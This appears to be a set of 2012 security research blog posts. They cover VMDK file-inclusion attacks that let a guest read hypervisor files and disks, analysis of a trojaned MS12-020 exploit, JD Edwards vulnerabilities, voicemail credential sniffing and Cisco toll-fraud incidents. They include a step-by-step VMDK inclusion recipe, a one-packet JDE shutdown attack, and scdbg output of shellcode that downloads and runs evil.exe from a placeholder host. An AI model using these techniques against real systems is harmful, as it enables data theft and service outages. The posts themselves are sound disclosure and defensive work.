A quick update on the workshop we’ve just finished at Hack in the Box 2012 Amsterdam:
Due to popular demand we decided to bring the slides online without wasting any more time. The official website of the conference is currently experiencing some problems due to high interest in all the stuff what was released in the last two days. Great conference!
Update #1: Slides are available for download here.
In the course of our ongoing cloud security research, we’re continuously thinking about potential attack vectors against public cloud infrastructures. Approaching this enumeration from an external customer’s (speak: attacker’s 😉 ) perspective, there are the following possibilities to communicate with and thus send malicious input to typical cloud infrastructures:
Management interfaces
Guest/hypervisor interaction
Network communication
File uploads
As there are already several successful exploits against management interfaces (e.g. here and here) and guest/hypervisor interaction (see for example this one; yes, this is the funny one with that ridiculous recommendation “Do not allow untrusted users access to your virtual machines.” ;-)), we’re focusing on the upload of files to cloud infrastructures in this post. According to our experience with major Infrastructure-as-a-Service (IaaS) cloud providers, the most relevant file upload possibility is the deployment of already existing virtual machines to the provided cloud infrastructure. However, since a quick additional research shows that most of those allow the upload of VMware-based virtual machines and, to the best of our knowledge, the VMware virtualization file format was not analyzed as for potential vulnerabilities yet, we want to provide an analysis of the relevant file types and present resulting attack vectors.
As there are a lot of VMware related file types, a typical virtual machine upload functionality comprises at least two file types:
VMX
VMDK
The VMX file is the configuration file for the characteristics of the virtual machine, such as included devices, names, or network interfaces. VMDK files specify the hard disk of a virtual machine and mainly contain two types of files: The descriptor file, which describes the specific setup of the actual disk file, and several disk files containing the actual file system for the virtual machine. The following listing shows a sample VMDK descriptor file:
For this post, it is of particular importance that the inclusion of the actual disk file containing the raw device data allows the inclusion of multiple files or devices (in the listing, the so-called “Extent description”). The deployment of these files into a (public) cloud/virtualized environment can be broken down into several steps:
Upload to the cloud environment: e.g. by using FTP, web interfaces, $WEB_SERVICE_API (such as the Amazon SOAP API, which admittedly does not allow the upload of virtual machines at the moment).
Move to the data store: The uploaded virtual machine must be moved to the data store, which is typically some kind of back end storage system/SAN where shares can be attached to hypervisors and guests.
Deployment on the hypervisor (“starting the virtual machine”): This can include an additional step of “cloning” the virtual machine from the back end storage system to local hypervisor hard drives.
To analyze this process more thoroughly, we built a small lab based on VMware vSphere 5 including
an ESXi5 hypervisor,
NFS-based storage, and
vCenter,
everything fully patched as of 2012/05/24. The deployment process we used was based on common practices we know from different customer projects: The virtual machine was copied to the storage, which is accessible from the hypervisor, and was deployed on the ESXi5 using the vmware-cmd utility utilizing the VMware API. Thinking about actual attacks in this environment, two main approaches come to mind:
Fuzzing attacks: Given ERNW’s longtradition in the area of fuzzing, this seems to be a viable option. Still this is not in scope of this post, but we’ll lay out some things tomorrow in our workshop at #HITB2012AMS.
File Inclusion Attacks.
Focusing on the latter, the descriptor file (see above) contains several fields which are worth a closer look. Even though the specification of the VMDK descriptor file will not be discussed here in detail, the most important field for this post is the so-called Extent Description. The extent descriptions basically contain paths to the actual raw disk files containing the file system of the virtual machine and were included in the listing above.
The most obvious idea is to change the path to the actual disk file to another path, somewhere in the ESX file system, like the good ol’ /etc/passwd:
Unfortunately, this does not seem to work and results in an error message as the next screenshot shows:
As we are highly convinced that a healthy dose of perseverance (not to say stubbornness 😉 ) is part of any hackers/pentesters attributes, we gave it several other tries. As the file to be included was a raw disk file, we focused on files in binary formats. After some enumeration, we were actually able to include gzip-compressed log files. Since we are now able to access files included in the VMDK files inside the guest virtual machine, this must be clearly stated: We have/can get access to the log files of the ESX hypervisor by deploying a guest virtual machine – a very nice first step! Including further compressed log files, we also included the /bootbank/state.tgz file. This file contains a complete backup of the /etc directory of the hypervisor, including e.g. /etc/shadow – once again, this inclusion was possible from a GUEST machine! As the following screenshot visualizes, the necessary steps to include files from the ESXi5 host include the creation of a loopback device which points to the actual file location (since it is part of the overall VMDK file) and extracting the contents of this loopback device:
The screenshot also shows how it is possible to access information which is clearly belonging to the ESXi5 host from within the guest system. Even though this allows a whole bunch of possible attacks, coming back to the original inclusion of raw disk files, the physical hard drives of the hypervisor qualify as a very interesting target. A look at the device files of the hypervisor (see next screenshot) reveals that the device names are generated in a not-easily-guessable-way:
Using this knowledge we gathered from the hypervisor (this is heavily noted at this point, we’re relying on knowledge that we gathered from our administrative hypervisor access), it was also possible to include the physical hard drives of the hypervisor. Even though we needed additional knowledge for this inclusion, the sheer fact that it is possible for a GUEST virtual machine to access the physical hard drives of the hypervisor is a pretty big deal! As you still might have our stubbornness in mind, it is obvious that we needed to make this inclusion work without knowledge about the hypervisor. Thus let’s provide you with a way to access to any data in a vSphere based cloud environment without further knowledge:
Ensure that the following requirements are met:
ESXi5 hypervisor in use (we’re still researching how to port these vulnerabilities to ESX4)
Deployment of externally provided (in our case, speak: malicious 😉 ) VMDK files is possible
The cloud provider performs the deployment using the VMware API (e.g. in combination with external storage, which is, as laid out above, a common practice) without further sanitization/input validation/VMDK rewriting.
Deploy a virtual machine referencing /scratch/log/hostd.0.gz
Access the included /scratch/log/hostd.0.gz within the guest system and grep for ESXi5 device names 😉
Deploy another virtual machine referencing the extracted device names
Enjoy access to all physical hard drives of the hypervisor 😉
It must be noted that the hypervisor hard drives contain the so-called VMFS, which cannot be easily mounted within e.g. a Linux guest machines, but it can be parsed for data, accessed using VMware specific tools, or exported to be mounted on another hypervisor under our own administrative control.
Summarizing the most relevant and devastating message in short:
VMware vSphere 5 based IaaS cloud environments potentially contain possibilities to access other customers’ data…
We’ll conduct some “testing in the field” in the upcoming weeks and get back to you with the results in a whitepaper to be found on this blog. In any case this type of attacks might provide yet-another path for accessing other tenants’ data in multi-tenant environments, even though more research work is needed here. If you have the opportunity you might join our workshop at #HITB2012AMS.
Hi @all,
today im releasing a new version of our famous fuzzing framework, dizzy. The version counts 0.6 by now and youll get some brand new features!
see the CHANGELOG:
v0.6:
– ssl support
– server side fuzzing mode
– command output
– new dizz funktions: lambda_length, csum, lambda_csum, lambda2_csum
– recursive mutation mode
– new dizz objects: fill
– new interaction objects: null_dizz
– reconnect option
– additional fuzzing values
find the sources here (90397f9ec11c8ec3db7f14cb4d38dd39e30f9791)
SQL injection attacks have been well known for a long time and many people think that developers should have fixed these issues years ago, but doing web application pentests almost all the time, we have a slightly different view. Many SQL injection problems potentially remain undetecteddue to a lack of proper test methodology, so we would like to share our approach and experience and help others in identifying these issues.
In march 2012 Microsoft announced a critical vulnerability (Microsoft Security Bulletin MS12-020) related to RDP that affects all windows operating systems and allows remote code execution. A lot of security professionals are expecting almost the same impact as with MS08-067 (the conficker vulnerability) and that it will be only a matter of time, until we will spot reliable exploits in the wild. Only a few days later an exploit, working for all unpatched windows versions was released, so it seems that they were right ;-), but of course no one will run an exploit without investigating the code. So lets have a look into the exploit Code.
First we take a look into the Microsoft advisory to get some information about the vulnerability itself:
The vulnerability requires some “specifically crafted RDP packets” to be sent to the vulnerable system to trigger the problem. We should spot this trigger in the exploit:
OK, the trigger is there and we also see some shellcode, that will open a bindshell on TCP port 8888. The next step is to figure out, what the exploit is doing with this code:
The exploit code converts a lot of opcodes to the big endian format, that looks reasonable because the exploit claims to work on all affected windows versions. The last step is to verifiy, how all the stuff is sent to the vulnerable system:
We see that target IP address and the RDP port are assigned and collected from the command line, the RDP packet is generated and the “specifically crafted RDP packets” are sent to the target.Finally the shellcode is sent and we are ready to connect to a remote shell that listens on TCP port 8888. Game over ;-).
We have verified the exploit, so it’s time now to run it against some unpatched test system and see, if we can compromise all these unpatched boxes out there …
…JUST KIDDING, never ever do that and I’m not talking about the legal issues this time ;-). It is a quite common mistake by unexperienced testers to work in this way. The exploit code was gathered from an untrusted source, so it needs detailed investigations before you run it, not just a short walk-through. You have to ensure that you understand every line of code completely to avoid being targeted by yourself, even the shellcode and the trigger of the rdp example. So let’s digg a little bit deeper into this.
First we have to extract the shellcode and trigger (the opcodes) from the exploit for further analysis. I prefer a special editor for this task that has all needed functionality (and much more 😉 ) built-in. It’s a commercial tool called “010 Editor” that can be obtained here and is available as a windows and MAC OS X version.
Step 1
Copy just the trigger opcodes into a dedicated text file, don’t forget to remove the double quotes. The text files should look almost like this:
trigger:
and shellcode:
Step 2
Use the editors replace function to replace “\x” with “0x” for the trigger and shellcode text files. Take the shellcode as an example, how the opcodes should look now:
Step 3
Mark all this hex data and copy it to the clipboard.
Step 4
Choose “File-New-New Hex File” from the “010 Editors” menu to create an empty hex file.
Step 5
Now choose “Edit-Paste From-Paste from Hex Text” to paste the data as hex data into the new hex file.
Step 6
Save both files (trigger and shellcode) as trigger.sc and shellcode.sc
Now we would be ready to analyze the opcodes with some toolset, but I assume that all of you already spotted some very interesting stuff within the shellcode part ;-):
Yes, it looks like the shellcode doesn’t open a bindshell, it just erases parts of your hard drive on windows and your complete root partition on unix.
This is really GAME OVER, if you would have run the exploit without a detailed analysis on a productive system. This code is referenced with the following code:
But in case that the shellcode wouldn’t have been so easily readable, there are more options for an easy analysis. Based on the shellcode emulation library libemu there are some tools available to find out what the shellcode is doing without reverse engineering it. SCDBG is one that runs on all unix based systems and also on windows, you can grab it here.
Let us see how SCDBG works with a short example shellcode: scdbg -f UrlDownloadToFile.sc
Loaded 150 bytes from file UrlDownloadToFile.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
40104bLoadLibraryA(urlmon)
40107aGetTempPath(len=104, buf=12fce4)
4010b2URLDownloadToFile(http://blahblah.com/evil.exe0, C:\%TEMP%\dEbW.exe)
4010bdWinExec(c:\%TEMP%\dEbW.exe)
4010cbExitProcess(626801251)
Stepcount 293883
So the example shellcode downloads a malicious file and executes it, let’s have a look at our shellocde now: scdbg -f shellcode.sc
Loaded 10d bytes from file shellcode.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
401002opcode 69 not supported
Stepcount 2
SCDBG fails to analyze the shellcode (for obvious reasons as we already know), so you can take this result as a good hint, that some stuff is hidden in the code and that you better shouldn’t run it.
Lessons learned
So finally, let’s summarize some lessons that every serious penetration tester should be aware of:
1. Never run any untrusted code (especially exploits) without a detailed analysis.
2. Ensure that you understand every line of code and this also includes the shellcode.
3. Before using untrusted code in a real pentest, verify it in a test environment (virtual machines are a good choice for that).
4. When using exploits on customer systems be aware that you’re running it on one of the assets of your customer! Don’t do that without your customers permission!
5. Your customer trusts your professional knowledge, so it’s your responsibility to avoid damaging any of your customers systems by mistake.
Lately there have been some rumors on the full-disclosure mailing list referring to a blogpost of Hatforce about a new method to bypass the PIN/password lock on Android Gingerbread phones.
The approach was to boot into the Recovery Mode and execute a reset to factory state. The ideal result should be a reliable wipe of the /data partition. However, the author managed to recover data after the wiping process. This has been stated as a method on extracting sensitive date without knowing the actual pin or passcode.
This approach was tested on a Nexus S smartphone with Android 2.3.6 assuming the problem could be present on other devices too.
As of our experience this actually affects all Android devices without device encryption. Meanwhile we had more than ten different Android 2.3.x devices from four different vendors. All of them need less than a minute for a factory reset. An actual example is the HTC Desire HD with a 1,1GB /data partition excluding the /cache partition. The factory reset procedure took about 40 seconds, which can hold as an advice to question if this time is actually sufficient to wipe the whole storage. Finally we have been able to recover data after factory-reset devices as part of previous studies.
Besides mentioning that the source code indicates Android devices runnig Android Honeycomb and later effectively wipe data. After looking up in the source code of Android Ice Cream Sandwich we found that the FileWriter class is used for the wipe of the /cache and /data partition. So no indication on overwriting the data here. We assume, that by mentioning the issue as resolved, he was referring to Android Honeycomb device encryption being use, which indeed resolves this issue. This feature has been announced as a new feature anyway.
The fact about getting the data without knowing the PIN however does not really fit the case. From our opinion that’s not a new thought anyway. As long as the storage is not encrypted there always ways to access and read it. My favorite way is to flash the recovery mode with a custom one, e.g. ClockWorkMod By this means it’s possible to run Android Debugging Bridge, su and dd binaries which in return can be used to connect to the device via USB cable and create a raw copy of the storage. Additionally it becomes available to follow the loudness principle and acquire data on a forensic level.
However there is one important aspect mentioned in the blogpost, which we fully agree with: lost device means lost data!
This is a guest post by the SAP security expert Juan Pablo Perez-Etchegoyen, CTO of Onapsis. Enjoy reading:
At Onapsis we are continuously researching in the ERP security field to identify the risks that ERP systems and business-critical applications are exposed to. This way we help customers and vendors to increase their security posture and mitigate threats that may be affecting their most important platform: the one that stores and manages their business’ crown jewels.
We have been talking about SAP security in many conferences over the last years, not only showing how to detect insecure settings and vulnerabilities but also explaining how to mitigate and solve them. However, something that is still less known is that since 2009 we have been also doing research over Oracle’s ERP systems (JD Edwards, Siebel, PeopleSoft, E-Business Suite) and reporting vulnerabilities to the vendor. In this post, I’m going to discuss some of the vulnerabilities that we reported, Oracle fixed and released patches in the latest CPU (Critical Patch Update) of January 2012. In this CPU, 8 vulnerabilities reported by Onapsis affecting JD Edwards were fixed.
What’s really important about these vulnerabilities is that most of them are highly critical, enabling a remote unauthenticated attacker to fully compromise the ERP server just having network access to it. I’m going to analyze some these vulnerabilities to shed some light on the real status of JD Edwards’ security. Most of these vulnerabilities are exploitable through the JDENET service, which is a proprietary protocol used by JDE for connecting the different servers.
Sending a specific packet in the JDENET message, an attacker can basically instruct the server to write an arbitrary content in an arbitrary location, leading to an arbitrary file write condition.
An attacker can read any file, by connecting to the JDENET service.
ONAPSIS-2012-007: Oracle JD Edwards SawKernel SET_INI Configuration Modification Modifications to the server configuration (JDE.INI) can be performed remotely and without authentication. Several attacks are possible abusing this vulnerability.
ONAPSIS-2012-006: Oracle JD Edwards JDENET Large Packets Denial of Service
If an attacker sends packets larger than a specific size, then the server’s CPU start processing at 100% of its capacity. Game over.
As a “bonus” to this guest blog post, I would like to analyze a vulnerability related to the set of security advisories we released back on April 2011 (many of them also critical). This vulnerability is the ONAPSIS-2011-07.
The exploitation of this weakness is very straight-forward, as the only thing an attacker needs to do is to send a packet to the JDENET command service (typically UDP port 6015) with the message “SHUTDOWN”, and all JD Edwards services are powered off! Business impact? None of the hundreds/thousands of the company’s employees that need the ERP system to do their every-day work will be able to do their job.
Some people still talk about ERP security as a synonym of Segregation of Duties controls. This is just an example of a high-impact Denial of Service attack that can be performed against the technical components of these systems. No user or password. No roles or authorizations.
Even worse, as UDP connections are stateless, it’s trivial for the attacker to forge its source and exploit the vulnerability potentially bypassing firewall filters.
Hope you enjoyed our post and I’d like to thank Enno, Florian and the great ERNW team for their kind invitation.
You can get more information about our work at www.onapsis.com
BTW: Meet Mariano Nuñez Di Croce, CEO of Onapsis at TROOPERS12 in about ten days! He will give a talk and also host a dedicated workshop on SAP security.
Hi everyone,
it’s me again with another story of a toll fraud incident at one of our customers (not the same as the last time of course ;-)).
The story began basically like the last one: We received a call with an urgent request to help investigating a toll fraud issue. Like the last time I visited the site in order to get an idea on what was going on exactly. The customer has a VoIP deployment consisting of the whole UC Suite Cisco offers: Call Manager, Unity Connection for the voice mailboxes, Cisco based Voice-Gateways and of course, IP phones.
During the initial meeting I was told that the incident had taken place over the weekend, and had caused a bill of almost 100.000€ during this time period. Similar to the other incident, described two weeks ago , our customer didn’t discover it by himself but again the Telco contacted him beacause of that high bill. After the meeting I got ready to work my way through a whole bunch of log- and configuration files to analyze the situation. Spending 1 ½ days on the customer site to analyze the issue, I was able to reconstruct the incident. As stated earlier, the customer uses Cisco Unity Connection as voice mail application. Unity is reachable over a specific telephone number so that employees are able to listen to voice mail messages if they are on the road . When dialing this specific number, one has to enter the internal extension followed by a PIN for authentication. It turned out, that someone had brute forced one of the mailboxes PIN.
So how could this toll fraud issue happen by just bruteforcing the PIN of a mailbox? After successful authentication though the PIN, one is also able to configure a transfer of a call to a telephone number of your choice. Now it should become clear, where this is going…
After the bad guys retrieved the valid PIN, they configured a call transfer to some $EXPENSIVE_LONG_DISTANCE_CALL. In addition they changed the PIN in order to access the system whenever needed. As the issue started on a Friday evening (when almost everybody had already left for the weekend) nobody noticed the compromise of the mailbox. The bad guys logged in about 200 times during the weekend and configured different numbers to which the calls should be transferred. They started with some numbers located in African countries, which wasn’t successful because the configuration of the Call Manager blocked outgoing calls to such suspicious countries.
So, how could they initiate the calls nevertheless? These guys were smart. After realizing that the first approach wasn’t working they found a clever way to circumvent the restriction. They just used a so called “Call-by-Call” Provider. To use such a provider you have to prepend a provider specific prefix to the number. E.g. one prefix of a German provider is 010049. So they dialed 010049+$EXPENSIVE_LONG_DISTANCE_NUMBER and were able to circumvent the restriction on the Cisco Call Manager.
The first question which came to my mind was: Why can Cisco Unity initiate outbound calls? Well, according to our customer, there were some requirements that Unity should contact some home workers on their normal phone that new messages are present. In order to stop the potential exploit on short notice, we first configured the Call Manager denying Unity to initiate outbound calls. After digging into the configuration of Unity Connection and the Call Manager I found some configuration on the Unity connection box which enabled the attacker an easy game.
The PIN was only 4 digits long.
Unity Connection did not prevent the use of trivial PINs like „0000“ or „1234“.
There was no restriction on to which number a call transfer could be configured.
The ability to configure a call transfer over the Phone Interface is at least debatable.
These properties are a little unfortunate as Unity connection gives you all the tools you need to address the issues mentioned above. However, in this scenario the config had not been handled appropriately. So this case could basically be broken down to configuration weaknesses which favored the attacker to exploit the issue. Like in the last incident , the initial deployment and configuration was done by an external Service Provider.
So how can we assure that this won’t happen again?
Use longer PINs. I recommended that the PIN should be at least 6 digits, which increases the number range you would have to bruteforce significantly, causing the attacker requiring up to 100 times as long for the attack! The password policy for the mailbox is configured in a so called authentication rule, where one can define all sort of things as for the mailbox password. In this authentication rule it was just one click to disable the use of trivial PINs.
In Unity Connection, one can configure so called restriction tables to define to which numbers a call can be transferred. In the default installation there are some predefined restrictions, which didn’t work with the number plan of this particular customer.
I recommended evaluating the need for configuration of call transfers over the phone, along with the advice to disable this functionality if not necessary.
All in all it is not rocket science to configure Unity Connection in a secure way, which unfortunately doesn’t mean you won’t find all kinds of scary misconfigurations. All the years at ERNW showed me this impressively.
As already said : It can cost you quite a lot of money if you do not take precautions to prevent that kind of incidents in the first place. So if you own the mentioned products (or plan on integrating them in your environment) check the configuration to ensure something like this won’t happen to you 😉
And one more thing: If you are interested in more VoIP security coverage don’t miss out Troopers 2012 where Enno and Daniel will give a talk on how to compromise the Cisco VoIP Crypto Ecosystem.
Visual Voicemail (VVM) is a common feature of phone providers which allows accessing the good old voice-mailbox through the phone’s visual interface. In contrast to the classical voicemail approach, VVM allows intuitive navigation through voice-messages without dealing with an automated voice which tells you about message count and possible options. However, this implies the need of actually loading the messages of missed calls on the phone. The VVM-app displays missed calls and downloads corresponding messages which have been left by the initial caller. The software comes with your iPhone and is not intended for uninstallation. However, providers have to support it and will have to activate it for supporting clients. This feature is available on iPhones since August 2009 and became available on BlackBerrys and few Nokia phones later. Android doesn’t implement VVM in general. However some telecommunication providers offer their own apps to add this feature. Since version 4.0, Android offers an official Voicemail Provider API enabling better integration for the mobile OS.
Lately we had a deeper look at a VVM client. The client is integrated (on iPhones) into the phone app but has to be activated by the provider (and a special backend is needed). We assume it’s handled through a stealth SMS or alike, since related network traffic is not visible. Also most providers charge you for this feature. Some contracts include VVM, but typically it has to be activated initially. Even if connection to a wireless LAN exists, the traffic between phone and the VVM backend is routed through the 3G interface and doesn’t pass the Wi-Fi connection. This is interesting, since actually the Wi-Fi connection is typically preferred. This allows the providers to limit the backend access to their own „IPs used on the 3G networks“, meaning only customers with a SIM card from the corresponding provider can access the mailbox system. From a corporate point of view this also means, that a phone connected to a wireless LAN with an active VPN connection would certainly bypass its „default way to the Internet“ and consequently also bypass potentially present security controls like proxy servers.
After actual VVM usage, we jailbroke the phone and installed assessment tools. In addition we installed Cydia (third party app store), an SSH daemon (to connect remotely) and tcpdump (to sniff network traffic). Cydia makes use of the packet management as known from “Debian GNU/Linux”. So we used “dpkg -i” to install the local packet (.deb) of KeychainViewer, which was not available through the repository.
By sniffing the network traffic it was possible to examine the IMAP protocol revealing username and the corresponding hashed password (which allows to repeat a successful login) and of course all voicemail files. We want to highlight, that all the voicemail files have been transferred unencrypted. In addition we had a look at the keychain entries of the app. This revealed information (used protocol, port and server IP) already known from sniffing the network traffic and some new details. The first thing we recognized was the format of the account name (as already seen in network traffic) as well as the password, which is stored in cleartext. Knowing the server IP address, we already reach the critical amount of sensitive information becoming available through sniffing the network traffic. As the IMAP protocol on port 143 is used for communication, we were able to test the retrieved connection data and credentials by using a standard email client. Unsurprisingly it worked out well. The screenshots show how we used thunderbird to read the folder structure of the mailbox itself. Voice calls are basically implemented as emails with an .amr audio file attached.
Mailbox with Thunderbird
In addition we found, that after activation of the VVM feature, the configuration (.plist) file is stored at /var/mobile/Library/Voicemail/com.apple.voicemail.imap.parameters.plist
containing the username, protocol information, the state of the voicemail account and the server IP. Having the username and server IP, which depends on the provider but can typically be figured out very easily, an attacker can run brute force attacks against the email server which is exposed to the Internet.
Furthermore the whole data transfer turned out to be unencrypted. One could argue that sniffing 2G/3G isn’t that easy when compared with sniffing Wi-Fi traffic. But even though eavesdropping or MITM attacks are not as likely as on Wi-Fi networks, they shouldn’t be completely ignored. Unfortunately login credentials tend to be long-living data. Once intercepted, these data will give an attacker the opportunity to access mailboxes and corresponding applications for a long time.
Providers still seem to rely on the non-interceptable properties of their networks. Even though intercepting isn’t easy, several publications have proofed them wrong in the last years. Thus this thread model is at least questionable.In addition scenarios exist, in which traffic is routed through untrusted areas e.g. in case of roaming. Considering the increasing importance of TCP/IP, traffic will more and more pass untrusted areas. In addition the trust model seems not to imply the actual user as a threat against sensitive data stored on the device (such as credentials for the VVM server). Last but not least, finding sensitive information such as login credentials unencrypted/unhashed still comes with a sobering taste.
All this has to be kept in mind, when using such technologies and may lead to the question, if the providers trust/thread model matches your own or those of your environment/company.
One of our customers called us recently and asked for some support in investigating a toll fraud issue they encountered in one of their sites. Their telecommunications provider had contacted them informing them that they had accumulated a bill of 30.000€ over the last ten days.
Without knowing anything more specific, I drove to the affected site to get the whole picture.
They have a VoIP deployment based on Cisco Unified Communications Manager (CUCM, aka Call Manager) as Call Agent. The CUCM is connected via a H.323 trunk to a Cisco 2911 ISR G2 which is acting as a voice gateway. The ISR has a primary rate ISDN (PRI) Interface which is connected to the PBX of the telco. Furthermore they use a feature called Direct-inward Dial (DID) or Direct Dial-in (DDI) which is offered by Telco’s to enable calling parties to dial directly to an extension on a PBX or voice gateway.
Basically one then has a so called head number (in networking terms a prefix), together with some phone extensions. When someone from outside wants to call, he dials the head number + phone extension. Before the telco forwards the call to the ISR, the head number is stripped and only the phone extension number is forwarded to the voice gateway. E.g. when calling 12345-678, the local voice gateway will only see the 678 as called number.
After having a good overview of the design, I started to dig around in the log and configuration files to understand what exactly happened and why.
So here is what happened:
Apparently someone from some East European country had called the head number of our customer and prepended a “malicious number” (in some country in Africa) to which the ISR should setup a call. The ISR only sees the malicious (African) number because, as said before, the head number was stripped by the telco. The malicious number was of course some $EXPENSIVE_LONG_DISTANCE_CALL ;). So the voice gateway received a call from the PBX and forwarded it back to setup the call with that number.
Before we proceed, a little bit of theory how a Cisco router decides how to forward a call, might be helpful:
In Cisco IOS, the call-routing table is configured based on so called dial-peers. These dial-peers specify how a call with a specific destination number should be forwarded.
As an example:
dial-peer voice 1234 potsdescription ===incoming_calls===incoming called number ^[2-7]..$port 0/3/0
This configuration tells the router that calls to a number which matches the regular expression, should be forwarded to port 0/3/0.
As it turns out our customer uses the following dial-peer which is used for outbound calls.
The T is a placeholder value which means that any amount of digits can follow the 8. The reason the pattern matches the digit 8 is that this digit must be dialed before the actual number.
Do I have to mention that the malicious number also starts with an 8? 😉
So back to the presumed course of action:
The call with the malicious number hits the router. The router tries to match a configured dial-peer to forward the call. I think you can guess which dial peer matched for the malicious number 😉
So the router sends the call back to the PBX to setup a call to the malicious number. Which is billed to our customer…
We then monitored the situation and applied a workaround (more on this in a minute) and observed what happened. As it turned out, unfortunately the attacker was able to circumvent our workaround. We discovered that is was possible to “dial-in” to the router directly by just calling the head number (as the PBX leaves the called number field empty). E.g. the called number field in the log files looks like this:
“Called Number=”
The router subsequently provided a line and it was possible to call the number again. Our workaround did only affect incoming calls with the number prepended, but not those where the router is the actual origin of the establishment of the call.
So how can we resolve this issue and stop the toll fraud?
As a long-term solution the configured dial patterns should be reviewed and modified to prevent such things in the future, but – given the overall complexity of the setup – this could not be done overnight.
I am currently working with the customer to develop more suitable dial patterns. I will write a follow up post with the final results when we are finished.
In the mean-time, we developed a temporary workaround to prevent this from happening again:
In Cisco IOS you can manipulate the calling or called-number with so called translation rules and you are also able to reject calls based on the called number. Our customer does not use any extension beginning with 8, so we can drop all calls on the gateway which starts with 8 as called number. So we developed the following translation-rule:
voice translation-profile reject_calls translate called 11
Rule number 2 addresses the case when the called number field is empty. We mapped this profile to the dial-peers responsible for the incoming calls and specified that calls with the numbers in the translation rule must be rejected.
Be careful when you develop and implement your dial patterns, as errors in this space can cost you quite a lot of money 😉
VoIP is a complex technology and this complexity can lead to all types of vulnerabilities, as Daniel and Enno are going to show in their talk at Troopers 2012. Toll fraud is still quite common and happens all the time, as you can see in an ERNW newsletter from 2009 covering a similar story from another environment.
On a side note:
The telco told us that our customer is the 8th customer affected by a toll fraud issue in the last two months. According to the telco all eight companies are in the same city, and the initial VoIP deployment at our customer was performed by an external service provider.
Maybe the same service provider has done the deployment in the other companies too…
A quick update on the workshop we’ve just finished at Hack in the Box 2012 Amsterdam:
